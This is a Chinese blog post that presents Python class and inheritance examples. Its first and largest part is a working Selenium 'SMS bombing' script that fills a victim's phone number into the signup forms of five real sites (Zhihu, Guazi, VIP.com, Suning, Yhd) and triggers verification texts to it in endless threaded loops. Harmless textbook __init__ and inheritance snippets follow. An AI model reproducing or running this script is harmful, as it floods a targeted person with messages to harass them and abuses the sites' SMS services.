12
2022
11

class object繼承例子 -SMS轟炸

from selenium import webdriver

import time

from threading import Thread

class HongZha(object):

def __init__(self):

self.phone = "xxxxx"#你要炸的tel. no.

self.num = 0

def send_yzm(self,button,name):

button.click()

self.num+=1

print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))

time.sleep(30)

def zhihu(self,name):

while True:

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

driver.get("https://www.zhihu.com/question/39993344")

driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()

time.sleep(2)

tel = driver.find_element_by_xpath("//input[@placeholder='tel. number']")

tel.send_keys(self.phone)

button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )

self.send_yzm(button,name)

driver.quit ()

def guazi(self,name):

while True:

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

driver.get("https://www.guazi.com/www/bj/buy")

a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )

a_btn.click()

time.sleep(2)

tel = driver.find_element_by_xpath("//input[@placeholder='tel. number']")

tel.send_keys( self.phone )

button = driver.find_element_by_xpath("//button[@class='get-code']")

self.send_yzm(button,name)

driver.quit()

def wphui(self,name):

while True:

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )

tel = driver.find_element_by_xpath ( "//input[@placeholder='please input your tel. number']" )

tel.send_keys ( self.phone )

driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()

button = driver.find_element_by_xpath (

"//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )

self.send_yzm ( button,name )

driver.quit ()

def suning(self,name):

while True:

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

driver.get ( "https://reg.suning.com/person.do" )

driver.find_element_by_xpath("//a[@class='agree-btn']").click()

tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")

tel.send_keys ( self.phone )

button = driver.find_element_by_xpath (

"//a[@id='sendSmsCode']" )

self.send_yzm ( button,name )

driver.quit ()

def yhd(self,name):

while True:

driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

driver.get ( "https://passport.yhd.com/passport/register_input.do" )

driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("xxxxxxx")

tel = driver.find_element_by_xpath ( "//input[@id='phone']" )

tel.send_keys ( self.phone )

time.sleep(2)

button = driver.find_element_by_xpath (

"//a[@class='receive_code fl same_code_btn r_disable_code ']" )

#button.click()

time.sleep(1)

self.send_yzm ( button,name )

driver.quit ()




from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()

zhihu = Thread(target=hongzha.zhihu,args=("知乎",))

guazi = Thread ( target=hongzha.guazi,args=("瓜子",))

wphui = Thread(target=hongzha.wphui,args=("唯品会",))

suning = Thread(target=hongzha.suning,args=("苏宁",))

yhd= Thread( target=hongzha.yhd,args=("一号店",))

zhihu.start()

guazi.start()

wphui.start()

suning.start()

yhd.start()











# A Sample class with init method


class Person:

    # init method or constructor


    def __init__(self, name):

        self.name = name

    # Sample Method


    def say_hi(self):

        print('Hello, my name is', self.name)

 

p = Person('Nikhil')

p.say_hi()


#output   -->  Hello, my name is Nikhil



# A Sample class with init method


class Person:

 


    # init method or constructor


    def __init__(self, name):


        self.name = name

 


    # Sample Method


    def say_hi(self):


        print('Hello, my name is', self.name)

 

 

# Creating different objects


p1 = Person('Nikhil')


p2 = Person('Abhinav')


p3 = Person('Anshul')

 

p1.say_hi()

p2.say_hi()

p3.say_hi()



#output    

Hello, my name is Nikhil

Hello, my name is Abhinav

Hello, my name is Anshul










# Python program to

# demonstrate init with

# inheritance

 


class A(object):


    def __init__(self, something):


        print("A init called")


        self.something = something

 


class B(A):


    def __init__(self, something):


        # Calling init of parent class


        A.__init__(self, something)


        print("B init called")


        self.something = something

 


obj = B("Something")



#output

A init called

B init called









# Python program to

# demonstrate init with

# inheritance

 


class A(object):


    def __init__(self, something):


        print("A init called")


        self.something = something

 

 


class B(A):


    def __init__(self, something):


        print("B init called")


        self.something = something


        # Calling init of parent class


        A.__init__(self, something)

 

obj = B("Something")



#output

B init called

A init called

« 上一篇 下一篇 »

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。